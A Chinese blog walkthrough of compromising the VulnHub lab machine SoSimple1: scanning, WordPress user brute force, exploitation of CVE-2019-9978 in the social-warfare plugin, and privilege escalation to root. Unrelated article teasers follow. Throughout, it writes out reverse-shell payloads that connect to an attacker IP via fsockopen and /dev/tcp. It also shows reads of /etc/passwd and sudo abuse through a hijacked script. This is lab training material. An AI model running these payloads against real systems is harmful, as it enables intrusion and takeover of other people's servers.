实战打靶集锦-027-SoSimple1

文章目录

  • 1.主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
  • 5. 提权
    • 5.1 枚举系统信息
    • 5.2 枚举定时任务
    • 5.3 查看passwd文件
    • 5.4 枚举可执行文件
    • 5.5 查看家目录
    • 5.6 Linpeas提权
  • 6. 获取flag

靶机地址:https://download.vulnhub.com/sosimple/So-Simple-1.7z


1.主机发现

目前只知道目标靶机在232.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.232.0/24

在这里插入图片描述
锁定目标靶机地址。

2. 端口扫描

通过下面的命令扫描一下端口。

$ sudo nmap -p- 192.168.232.147

在这里插入图片描述
端口比较少,枚举一下具体的服务。

3. 服务枚举

通过下面的命令枚举一下端口上的服务。

$ sudo nmap -p22,80 -A -sT -sV 192.168.232.147

在这里插入图片描述
枚举出的服务没有太特别的,主要就是一个Apache。

4. 服务探查

还是先通过浏览器访问一下看看。
在这里插入图片描述
还是一个简单的图片,最近几个靶机都是这种状况啊,枚举一下目录吧。

$ dirsearch -u http://192.168.232.147:80/

在这里插入图片描述
哈,是个wordpress,基于前车之鉴,还是用gobuster扫一下。

$ gobuster dir -u http://192.168.232.147:80/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

在这里插入图片描述
没有太特殊的,在这个例子中还不如dirsearch全面,还是手工进去看一下吧。
在这里插入图片描述
简单试了一下,枚举出了admin用户,可以对这个用户进行爆破,在此之前先用wpscan扫描一下,并待参数枚举一下存在漏洞的插件和用户。

$ wpscan --url http://192.168.232.147/wordpress/ -e u,vp

在这里插入图片描述
确实还是发现了一些内容,比如xmlrpc、upload目录,另外还枚举出了两个用户:admin和max。先手工看看哪里有文件上传的入口,然后再看看是否可以通过文件上传构建反弹shell。
在这里插入图片描述
目前是找到了上传文件的目标位置,但是还没有找到上传文件的入口,估计得需要登录才能有更多的权限,通过rockyou爆破一下admin用户。

$ wpscan --url http://192.168.232.147/wordpress/ -P ../../rockyou.txt -U admin -t 6

在这里插入图片描述
爆破了半天,没啥效果,再爆破一下max用户试试看。

$ wpscan --url http://192.168.232.147/wordpress/ -P ../../rockyou.txt -U max -t 6

在这里插入图片描述
用了不到10分钟就爆破出来了,手工登录看看。
在这里插入图片描述
确实登录成功了,并且发现发表新的内容的时候,时可以添加一个图片的,如下图。
在这里插入图片描述
我们尝试发一个内容添加图片试试,确实成功了,如下图。
在这里插入图片描述
找一下前面发现的upload目录里面,看是否有对应的图片。
在这里插入图片描述
确实在uploads下找到了我们上传的图片。这应该好办了,采用我们的惯用手法,构造一个图片格式的php脚本,其中包含反弹shell,如下图。
在这里插入图片描述
上传一下试试看。
在这里插入图片描述
嗯,看来靶机还是做了一些防护处理的,没法直接上传。找到一个神器(https://github.com/dlegs/php-jpeg-injector),可以在图片中注入php,弄下来试试。

$ python3 gd-jpeg.py ../ubertooth.jpeg '<?php $sock=fsockopen("192.168.232.129",4444); $proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ?>' infected_reverse.jpeg

在这里插入图片描述
貌似生成了新的图片,先在本地建立监听,然后上传一下,然后试试看。可惜的是上传成功了,但是没有正常反弹。
感觉前面的wpscan扫描可能还漏了啥,扫描一下全量插件试试看。

$ wpscan --url http://192.168.232.147/wordpress/ -e ap

在这里插入图片描述
总共扫描出了两个插件,搜索一下有没有针对这俩插件的EXP。
在这里插入图片描述
都没有搜出来,上网直接搜搜看。发现貌似simple-cart-solution插件有个CVE漏洞,如下图。
在这里插入图片描述
并且social-warfare有个远程脚本执行的漏洞。
在这里插入图片描述
第一个漏洞貌似有些异常,在NIST找不到相关的具体信息,如下图。
在这里插入图片描述
我们集中精力看social-warfare的远程脚本执行漏洞,具体可以参照git上的内容(https://github.com/hash3liZer/CVE-2019-9978)。
先制作一个payload。

$ echo "<pre>system('cat /etc/passwd')</pre>" > payload1.txt

启动python http服务,让payload1可以被访问到。

$ python3 -m http.server 8000

然后运行exp脚本。

$ /usr/bin/python2 CVE-2019-9978/cve-2019-9978.py --target http://192.168.232.147/wordpress/ --payload-uri http://127.0.0.1:8000/payload1.txt

在这里插入图片描述
貌似失败了,估计还是有些问题,估计是payload1的地址原因,从环回地址改成实际地址试试看。
在这里插入图片描述
远程代码执行成功了,我们重新构造一个带有反弹shell的payload试试看。

$ echo "<pre>system(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.232.129/4444 0>&1'\")</pre>" > payload2.txt

先在4444端口上建立一下监听,然后执行下面的EXP

$ /usr/bin/python2 CVE-2019-9978/cve-2019-9978.py --target http://192.168.232.147/wordpress/ --payload-uri http://192.168.232.129:8000/payload2.txt

在这里插入图片描述
反弹shell建立成功。

5. 提权

先优化一下shell。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ whereis python
www-data@so-simple:/var/www/html/wordpress/wp-admin$ /usr/bin/python3.8 -c "import pty;pty.spawn('/bin/bash')"

5.1 枚举系统信息

通过下面的命令枚举一下系统信息。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ uname -a
www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat /etc/*-release

在这里插入图片描述
是64位的Ubuntu 20.04 LTS版本,内核5.4.0-40。

5.2 枚举定时任务

通过下面的命令枚举一下定时任务。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat /etc/crontab

在这里插入图片描述
没有可以利用的定时任务。

5.3 查看passwd文件

先查看一下passwd文件中都有哪些用户。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat /etc/passwd

在这里插入图片描述
从上面可以看到,存在root、max、steven三个具备正常shell的用户。尝试向passwd文件中写入一个用户试试看。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ echo "testuser" >> /etc/passwd

在这里插入图片描述
没有权限。

5.4 枚举可执行文件

通过下面的命令枚举一下可执行文件。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ sudo -l

在这里插入图片描述

www-data@so-simple:/var/www/html/wordpress/wp-admin$ find / -user root -perm -4000 2>/dev/null

在这里插入图片描述
看得不太明显,继续往下。

5.5 查看家目录

查看一下当前www-data用户的家目录下都有些啥。
在这里插入图片描述
有个名为mybackup.txt的文件比较可疑,进去看看。

www-data@so-simple:/var/www/html/wordpress/wp-admin$ cat ~/html/mybackup.txt

在这里插入图片描述
感觉像是base64编码过的内容,尝试解码一下看看。
在这里插入图片描述
是base32编码的内容,其实就是之前我们爆破出来的max用户的密码。尝试用这个密码切换到max用户试试。
在这里插入图片描述
发现不是任何一个用户的的shell登录密码,暂时放一边。

5.6 Linpeas提权

www-data@so-simple:/tmp$ chmod u+x linpeas.sh

有意思的是,这里面在max用户下找到了ssh登录的密钥对,如下图。
在这里插入图片描述
把私钥拷贝下来放到本地的~/.ssh/id_rsa文件中,尝试登录一下试试看。

$ chmod 600 ~/.ssh/id_rsa
$ ssh max@192.168.232.147 -i ~/.ssh/id_rsa

在这里插入图片描述
登录成功,直接在这个用户下运行一下linpeas.sh试试看。
在这里插入图片描述
貌似这个/usr/sbin/service有些猫腻,不过不是很懂,莫非是不用密码可以进入到steven账号下面?但是这个/usr/sbin/service应该怎么用,还是一头雾水,不过之前大佬传授给我一个超级牛逼的网站(https://gtfobins.github.io/),上面看看有没有具体用法。
在这里插入图片描述
网站的Sudo下面找到service词条,打开后找到了具体的用法,如下图。
在这里插入图片描述
试一下看看。

max@so-simple:/tmp$ sudo -u steven /usr/sbin/service ../../bin/sh

在这里插入图片描述
果真是切换到了steven用户啊,轮换了两三个用户了,直接在steven用户下继续执行linpeas吧。
在这里插入图片描述
哈,感觉是同样的手法又用了一次,如下图。那就看看这个shell中是什么内容吧。
在这里插入图片描述
呵,竟然找不到这个文件,好奇怪。按照上面的葫芦画个瓢,看看能不能用这个server-health.sh提权吧。

$ sudo -u root /opt/tools/server-health.sh ../../../usr/bin/sh

在这里插入图片描述
还是找不到文件。按照靶机的尿性,既然linpeas能够给出这个线索,不可能没有用啊,没有条件创造条件也要上,我们自己创建一个server-health.sh文件试试看。

$ mkdir -p /opt/tools
$ echo "#!/bin/sh" > /opt/tools/server-health.sh
$ chmod u+x /opt/tools/server-health.sh
$ sudo -u root /opt/tools/server-health.sh ../../../usr/bin/sh
$ sudo -u root /opt/tools/server-health.sh ../../bin/sh

在这里插入图片描述
无论如何折腾都还是steven用户,直接在server-health.sh中写入反弹shell试试看。

$ echo "bash -c 'exec bash -i &>/dev/tcp/192.168.232.129/4444 <&1'" > /opt/tools/server-health.sh
$ cat /opt/tools/server-health.sh
$ chmod u+x /opt/tools/server-health.sh
$ sudo -u root /opt/tools/server-health.sh

在这里插入图片描述
这次提权成功,顺利拿到root权限。

6. 获取flag

获取一下flag。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/759513.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阿里云99元服务器40G ESSD Entry系统盘够用吗?

阿里云99元服务器40G ESSD Entry云盘够用吗&#xff1f;够用&#xff0c;操作系统占15GB左右&#xff0c;还有25G富余。如果是40G ESSD Entry系统盘不够用&#xff0c;还可以为云服务器另外挂载数据盘&#xff0c;所以不用担心40G系统盘不够用。可以在阿里云CLUB中心查看 aliyu…

Flutter 3.13 之后如何监听 App 生命周期事件

在 Flutter 中&#xff0c;您可以监听多个生命周期事件来处理应用程序的不同状态&#xff0c;但今天我们将讨论 didChangeAppLifecycleState 事件。每当应用程序的生命周期状态发生变化时&#xff0c;就会触发此事件。可能的状态有 resumed 、 inactive 、 paused 、 detached …

idea使用git笔记

1.创建分支和切换分支 创建分支 切换分支 2.把新创建的分支提交到远程服务器上&#xff08;注&#xff1a;如果没有提交的&#xff0c;随便找个文件修改再提交&#xff09; (1)切换到要提交的分支&#xff0c;add (2)commit (3)push 3.在自己分支修改代码及提交到自己的远…

【K3s】在 AWS EC2 上运行生产 K3s 集群

【K3s】在 AWS EC2 上运行生产 K3s 集群 本文将介绍如何在 AWS EC2 上运行 K3s。您将创建一个 EC2 实例并在 AWS 上运行单节点 K3s 集群。 自托管的 K3s 允许您在裸金属上运行 Kubernetes,并应用较小、低资源工作负载的原则。哦,你还可以控制你的控制平面。这有点像逃离托管…

Python Qt Designer 初探

代码下载在最下面 #开发环境安装# 本示例在Windows11下, 使用VSCode开发, Python 3.12.2, Qt Designer 5.11 VSCode插件Python、Python Debugger、PYQT Integration、Pylance (准备) VSCode自行官网下载 Visual Studio Code - Code Editing. Redefined (准备) Python 直接…

上位机图像处理和嵌入式模块部署(qmacvisual拟合直线)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 测量是图像处理的一个基本技能。那么测量的前提&#xff0c;就是我们需要在图像中找出特定的集合图形&#xff0c;比如说直线。当然&#xff0c;发…

# Maven Bom 的使用

Maven Bom 的使用 文章目录 Maven Bom 的使用概述BOM特点优点缺点 MavenMaven 安装安装步骤settingx.ml常用仓库地址Idea 使用maven常见坑 SpringBoot 项目Bom使用案例项目结构主项目 zerocode-back-servezc-dependency&#xff08;第三方jar管理&#xff09;子模块zc-serve子模…

手机运营商二要素检测:重塑信任基石,筑牢信息安全屏障

随着移动互联网的普及和数字经济的快速发展&#xff0c;用户信息安全的重要性日益凸显。运营商二要素检测作为一种强大的安全验证机制&#xff0c;以其精准匹配与实时验证的特性&#xff0c;为各类应用场景提供了一种可靠的身份识别解决方案&#xff0c;正在成为众多企业和服务…

PyTorch 深度学习(GPT 重译)(六)

十四、端到端结节分析&#xff0c;以及接下来的步骤 本章内容包括 连接分割和分类模型 为新任务微调网络 将直方图和其他指标类型添加到 TensorBoard 从过拟合到泛化 在过去的几章中&#xff0c;我们已经构建了许多对我们的项目至关重要的系统。我们开始加载数据&#xf…

11种创造型设计模式(下)

观察者模式 我们可以比喻观察者模式是一种类似广播的设计模式 介绍 观察者模式&#xff1a;对象之间多对一依赖的一种设计方案&#xff0c;被依赖的对象是Subject&#xff0c;依赖的对象是Observer&#xff0c;Subject通知Observer变化。 代码 说明&#xff1a; WeatherStat…

【百度灵境矩阵实训营】操作指南

【百度灵境矩阵实训营】操作指南 写在最前面提交注意事项比赛参与指南1、创建智能体作品要求 2、提交作品 学习资料包 &#x1f308;你好呀&#xff01;我是 是Yu欸 &#x1f30c; 2024每日百字篆刻时光&#xff0c;感谢你的陪伴与支持 ~ &#x1f680; 欢迎一起踏上探险之旅&…

Docker容器化技术(docker-compose示例:部署discuz论坛和wordpress博客,使用adminer管理数据库)

安装docker-compose [rootservice ~]# systemctl stop firewalld [rootservice ~]# setenforce 0 [rootservice ~]# systemctl start docker[rootservice ~]# wget https://github.com/docker/compose/releases/download/v2.5.0/docker-compose-linux-x86_64创建目录 [rootse…

用纯C语言实现空气压强和电压关系

已知P是真空度&#xff0c;U是电压&#xff0c;C是3.572&#xff08;以PA为单位&#xff09;&#xff0c;P10**(U-C)/1.286 1、使用 math.h 头文件中提供的函数&#xff0c;比如 pow() 来计算幂 #include <stdio.h> #include <math.h>int main() {double U; // 电…

接口测试、postman、测试点提取【主】

接口测试是测试系统组件间接口的一种测试 接口测试主要用于检测外部系统与系统之间以及内部各个子系统之间的交互点 测试的重点是要检查数据的交换&#xff0c;传递和控制管理过程&#xff0c;以及系统间的相互逻辑依赖关系 文章目录 HTTP接口 & Web Service接口RESTful接口…

SQLiteC/C++接口详细介绍sqlite3_stmt类(五)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLiteC/C接口详细介绍sqlite3_stmt类&#xff08;四&#xff09;- 下一篇&#xff1a; 无 12. sqlite3_bind_text16函数 sqlite3_bind_text16函数用于将UTF-16编码的文本数据&#xff08;字符串&#xff09;绑定…

语音识别教程:Whisper

语音识别教程&#xff1a;Whisper 一、前言 最近看国外教学视频的需求&#xff0c;有些不是很适应&#xff0c;找了找AI字幕效果也不是很好&#xff0c;遂打算基于Whisper和GPT做一个AI字幕给自己。 二、具体步骤 1、安装FFmpeg Windows: 进入 https://github.com/BtbN/FF…

[嵌入式系统-43]:SOC芯片内部的总线规范

目录 一、SOC&#xff08;System on Chip&#xff09; 二、AMBA 2.1 AMBA概述 2.2 AMBA架构 三、AXI 2.1 AXI概述 一、SOC&#xff08;System on Chip&#xff09; SOC&#xff08;System on Chip&#xff09;通常包含多个功能模块&#xff0c;如处理器核心、内存控制器…

综合知识篇16-信息系统基础知识考点(2024年软考高级系统架构设计师冲刺知识点总结系列文章)

专栏系列文章: 2024高级系统架构设计师备考资料(高频考点&真题&经验)https://blog.csdn.net/seeker1994/category_12593400.html案例分析篇00-【历年案例分析真题考点汇总】与【专栏文章案例分析高频考点目录】(2024年软考高级系统架构设计师冲刺知识点总结-案例…

基于SpringBoot和Vue的网上订餐系统的设计与实现

今天要和大家聊的是一款基于SpringBoot和Vue的网上订餐系统的设计与实现。 &#xff01;&#xff01;&#xff01; 有需要的小伙伴可以通过文章末尾名片咨询我哦&#xff01;&#xff01;&#xff01; &#x1f495;&#x1f495;作者&#xff1a;李同学 &#x1f495;&#x…

nginx介绍及搭建

架构模型 Nginx是由一个master管理进程、多个worker进程组成的多进程模型。master负责管理worker进程&#xff0c;worker进程负责处理网络事件&#xff0c;整个框架被设计为一种依赖事件驱动、异步、非阻塞的模式。 优势&#xff1a; 1、充分利用多核&#xff0c;增强并发处理…